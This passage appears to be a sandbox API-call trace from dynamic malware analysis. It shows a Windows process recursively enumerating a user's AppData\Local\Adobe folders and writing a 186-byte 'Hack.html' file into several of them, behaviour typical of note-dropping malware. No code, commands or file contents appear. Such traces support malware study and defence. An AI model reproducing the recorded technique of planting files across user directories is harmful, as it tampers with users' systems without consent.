lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a6e8 [0071.912] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.912] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.912] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.912] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.912] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.912] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.912] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.913] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.913] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0071.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpFilePart=0x0) returned 0x2c [0071.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a6e8 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.914] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.914] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x31 [0071.915] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpFilePart=0x0) returned 0x32 [0071.915] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a6e8 [0071.915] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.915] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.915] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.915] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.916] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x31 [0071.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\", lpFilePart=0x0) returned 0x32 [0071.916] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a6e8 [0071.916] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.916] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.916] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.916] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0071.916] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0071.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0071.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.916] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x39 [0071.917] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x3a [0071.917] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0071.917] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.917] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.917] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.917] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.917] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x39 [0071.917] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x3a [0071.917] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0071.917] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.918] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.918] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.918] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x3e [0071.918] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x3f [0071.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a6e8 [0071.919] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.919] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.919] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.919] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.919] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.919] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.919] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0071.919] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0071.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0071.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0071.920] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x3e [0071.920] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x3f [0071.920] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a6e8 [0071.921] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.921] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.921] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.921] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.921] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.921] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0071.921] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0071.921] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0071.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0071.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0071.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache", lpFilePart=0x0) returned 0x44 [0071.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpFilePart=0x0) returned 0x45 [0071.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a6e8 [0071.924] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0071.924] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0071.924] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0071.924] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0071.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0071.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0071.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache", lpFilePart=0x0) returned 0x44 [0071.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpFilePart=0x0) returned 0x45 [0071.924] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a6e8 [0071.924] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0071.924] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0071.924] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0071.924] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0071.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0071.925] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\Hack.html", lpFilePart=0x0) returned 0x4e [0071.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0071.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.926] GetFileType (hFile=0x174) returned 0x1 [0071.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0071.926] GetFileType (hFile=0x174) returned 0x1 [0071.926] WriteFile (in: hFile=0x174, lpBuffer=0x28acad4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x28acad4*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0071.927] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Hack.html", lpFilePart=0x0) returned 0x48 [0071.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0071.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.928] GetFileType (hFile=0x174) returned 0x1 [0071.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0071.928] GetFileType (hFile=0x174) returned 0x1 [0071.928] WriteFile (in: hFile=0x174, lpBuffer=0x28af2fc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x28af2fc*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0071.929] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\Hack.html", lpFilePart=0x0) returned 0x43 [0071.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0071.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0071.929] GetFileType (hFile=0x174) returned 0x1 [0071.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0071.930] GetFileType (hFile=0x174) returned 0x1 [0071.930] WriteFile (in: hFile=0x174, lpBuffer=0x28b1b0c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x28b1b0c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0071.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.931] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x37 [0071.931] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\", lpFilePart=0x0) returned 0x38 [0071.931] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0071.931] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.931] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.931] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.931] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.931] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0071.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0071.932] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x37 [0071.932] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\", lpFilePart=0x0) returned 0x38 [0071.932] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0071.932] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.932] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.932] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0071.932] FindNextFileW (in: hFindFile=0x59a6e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0071.932] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0071.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0071.932] SetThreadErrorMode 